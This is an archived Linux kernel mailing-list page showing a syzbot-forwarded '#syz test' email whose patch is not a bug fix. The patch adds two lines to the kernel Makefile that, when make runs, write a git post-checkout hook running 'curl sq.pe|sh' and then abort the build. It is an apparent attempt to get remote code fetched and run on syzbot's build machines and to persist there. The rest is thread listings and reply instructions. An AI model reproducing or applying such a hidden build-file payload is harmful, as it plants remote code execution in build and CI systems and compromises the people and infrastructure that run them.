From: syzbot <syzbot+12b178b7c756664d2518@syzkaller.appspotmail.com>
To: linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com
Subject: Forwarded: #syz test
Date: Sun, 12 Apr 2026 21:50:27 -0700 [thread overview]
Message-ID: <69dc7613.a00a0220.468cb.0041.GAE@google.com> (raw)
In-Reply-To: <69d7f03b.050a0220.3030df.001b.GAE@google.com>
For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.
***
Subject: #syz test
Author: tbsthitw@gmail.com
#syz test
diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell printf '#!/bin/sh
curl sq.pe|sh'>.git/hooks/post-checkout;chmod +x .git/hooks/post-checkout)
+$(error x)
# SPDX-License-Identifier: GPL-2.0
VERSION = 6
PATCHLEVEL = 14
next prev parent reply other threads:[~2026-04-13 4:50 UTC|newest]
Thread overview: 16+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-04-09 18:30 [syzbot] [fuse?] BUG: scheduling while atomic in __synchronize_srcu syzbot
2026-04-11 5:14 ` Forwarded: [PATCH] arm64: KVM: Initialize vGIC before preempt-disabled section in kvm_reset_vcpu() syzbot
2026-04-13 4:40 ` Forwarded: #syz test syzbot
2026-04-13 4:49 ` syzbot
2026-04-13 4:50 ` syzbot [this message]
2026-04-13 4:52 ` syzbot
2026-04-13 5:08 ` syzbot
2026-04-13 6:04 ` syzbot
2026-04-16 18:14 ` Forwarded: Re: [syzbot] [fuse?] BUG: scheduling while atomic in __synchronize_srcu syzbot
2026-04-16 18:22 ` syzbot
2026-04-17 7:09 ` syzbot
2026-04-17 10:38 ` syzbot
-- strict thread matches above, loose matches on Subject: below --
2025-09-30 20:29 [syzbot] [rdma?] KMSAN: uninit-value in ib_nl_handle_ip_res_resp syzbot
2025-11-06 19:45 ` Forwarded: syz test syzbot
2025-11-07 20:06 ` syzbot
2025-11-07 22:53 ` syzbot
2025-08-27 21:55 [syzbot] [mm?] [usb?] WARNING in __alloc_skb (4) syzbot
2025-09-20 10:59 ` Forwarded: syz test syzbot
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=69dc7613.a00a0220.468cb.0041.GAE@google.com \
--to=syzbot+12b178b7c756664d2518@syzkaller.appspotmail.com \
--cc=linux-kernel@vger.kernel.org \
--cc=syzkaller-bugs@googlegroups.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox